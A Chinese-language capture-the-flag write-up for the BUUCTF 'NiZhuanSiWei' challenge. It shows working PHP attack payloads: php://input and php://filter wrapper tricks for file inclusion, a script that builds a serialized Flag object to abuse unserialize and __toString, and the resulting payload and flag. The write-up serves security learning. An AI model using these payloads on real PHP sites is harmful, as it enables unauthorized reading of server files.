BUUCTF-[ZJCTF 2019]NiZhuanSiWei Writeup
0x00 题目
0x01 解题过程
首先看源码,发现有一个unserialize函数,判断应该是需要序列化什么了。看着代码一步一步来,先过第一关,使得第一个if语句为真。需要通过text变量传一个内容为"welcome to the zjctf"的文件。因此想到php伪协议——php://input。操作一波如下:
红线操作过的地方,但还划少了一个地方,就是我把GET方法改成了POST方法,并在POST变量中填入welcome to the zjctf,通过text的php://input伪协议传进,得到结果如下:
证明第一步已经到位了,再看第二步要进入第二个if-else语句的else里面,提示信息的意思应该是要文件包含useless.php,尝试直接网页访问useless.php是会200ok的,但不会显示任何东西。此时就需要想办法看到useless.php的内容。再次联想到php伪协议。这次用到的是php://filter,操作如下:
划红线部分是相较上一个张截图的变化的部分,在file变量里传入了:
php://filter/read=convert.base64-encode/resource=useless.php
一波操作得到的结果如下:
useless.php的base64encode后的内容就在这里了:
PD9waHAgIAoKY2xhc3MgRmxhZ3sgIC8vZmxhZy5waHAgIAogICAgcHVibGljICRmaWxlOyAgCiAgICBwdWJsaWMgZnVuY3Rpb24gX190b3N0cmluZygpeyAgCiAgICAgICAgaWYoaXNzZXQoJHRoaXMtPmZpbGUpKXsgIAogICAgICAgICAgICBlY2hvIGZpbGVfZ2V0X2NvbnRlbnRzKCR0aGlzLT5maWxlKTsgCiAgICAgICAgICAgIGVjaG8gIjxicj4iOwogICAgICAgIHJldHVybiAoIlUgUiBTTyBDTE9TRSAhLy8vQ09NRSBPTiBQTFoiKTsKICAgICAgICB9ICAKICAgIH0gIAp9ICAKPz4gIAo=
进行解码后得到的内容如下:
<?php class Flag{ //flag.php public $file; public function __tostring(){ if(isset($this->file)){ echo file_get_contents($this->file); echo "<br>"; return ("U R SO CLOSE !///COME ON PLZ"); } } } ?>
来到这里,很明显了,要通过Flag类里的__tostring魔法函数调用file_get_contents函数查看flag.php的内容,想要调用__tostring魔法函数:
因为这里echo了password变量,所以password传一个Flag类序列化后的的字符串就好,而且Flag类里的file变量赋值为"flag.php"。并且在第二步中的url里的file变量去掉php伪协议部分,留下useless.php就好,操作如下:
先写一个序列化的脚本:
<?php class Flag{ //flag.php public $file; } $a=new Flag(); $a->file="flag.php"; echo serialize($a); ?>
输出的结果如下:
O:4:"Flag":1:{s:4:"file";s:8:"flag.php";}
放到burp上操作:
结果如下:
到位了。
flag{835b725d-60da-4965-83e4-0ab82acb7553}